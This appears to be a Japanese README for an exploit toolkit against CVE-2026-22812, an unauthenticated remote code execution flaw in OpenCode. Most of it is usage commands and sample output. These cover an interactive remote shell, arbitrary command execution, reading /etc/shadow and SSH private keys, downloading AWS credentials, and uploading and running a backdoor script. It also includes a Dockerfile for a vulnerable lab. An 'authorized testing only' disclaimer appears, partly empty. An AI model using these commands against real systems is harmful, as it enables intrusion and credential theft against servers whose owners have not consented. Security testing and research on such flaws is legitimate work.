
CVE-2026-22812(OpenCode 未認証 RCE)向けのエクスプロイトツールキット。対話型シェル、任意コマンド実行、ファイルのアップロード/ダウンロード、システム列挙を提供し、許可されたセキュリティテストを支援します。
CVE-2026-22812 - OpenCode 認証なしRCE のためのフル機能エクスプロイトツールキット
CVE-2026-22812 エクスプロイトツールは、OpenCode の認証なしリモートコード実行の脆弱性に対する包括的なエクスプロイトフレームワークです。このツールは、対話型シェル、ファイル操作、システム列挙など、複数のエクスプロイト手法を提供します。
# リポジトリのクローン
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit
# 依存関係のインストール
pip3 install -r requirements.txt
pip3 install requests urllib3
python3 exploit.py -t http://192.168.1.10:4096 --verify
出力:
[+] Target is VULNERABLE to CVE-2026-22812!
[+] Session ID: abc123def456
python3 exploit.py -t http://192.168.1.10:4096 -c "id"
出力:
[*] Creating session...
[+] Session created: abc123def456
[+] Target is VULNERABLE!
[*] Executing: id
[+] Command executed successfully
uid=1000(developer) gid=1000(developer) groups=1000(developer)
python3 exploit.py -t http://192.168.1.10:4096 -i
対話型セッション:
[+] Session created: abc123def456
[+] Target is VULNERABLE!
[*] Entering interactive shell mode
[!] Type 'help' for commands, 'exit' to quit
developer@target$ whoami
developer
developer@target$ pwd
/home/developer/workspace
developer@target$ ls -la
total 48
drwxr-xr-x 8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x 3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r-- 1 developer developer 220 Jan 15 09:20 .bash_logout
...
developer@target$ read /etc/hostname
[*] Reading file: /etc/hostname
[+] File read successfully (10 bytes)
dev-server-01
developer@target$ exit
[*] Exiting...
# 単一コマンド
python3 exploit.py -t http://target:4096 -c "whoami"
# 複雑なコマンド
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
# 複数のコマンド
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
# 機密ファイルの読み取り
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
# シェルスクリプトのアップロード
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
# バイナリのアップロード
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
# 実行付きアップロード
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
# 設定ファイルのダウンロード
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
# 認証情報のダウンロード
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
# ソースコードのダウンロード
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
# システム情報の収集
python3 exploit.py -t http://target:4096 --sysinfo
出力:
{
"hostname": "dev-server-01",
"username": "developer",
"user_id": "uid=1000(developer) gid=1000(developer)",
"current_dir": "/home/developer/workspace",
"kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
"os_release": "Ubuntu 22.04.3 LTS",
"ip_address": "192.168.1.10",
"processes": "..."
}
npm install -g opencode-ai@latestpkill -f opencode# Dockerfile for vulnerable OpenCode
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
# ビルドと実行
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln
# エクスプロイトのテスト
python3 exploit.py -t http://localhost:4096 -i
# 脆弱なバージョンのインストール
npm install -g [email protected]
# OpenCode の起動
opencode
# 別のターミナルでエクスプロイトを実行
python3 exploit.py -t http://localhost:4096 --verify
⚠️ 脆弱なバージョンを本番環境にデプロイしないでください!
よくお読みください
このツールは認可されたセキュリティテスト専用に提供されています。
著作者は:
このツールを使用することで、あなたは以下に同意したことになります:
自己責任で使用してください
⭐ 役に立ったらスターを! ⭐
認可されたセキュリティテスト専用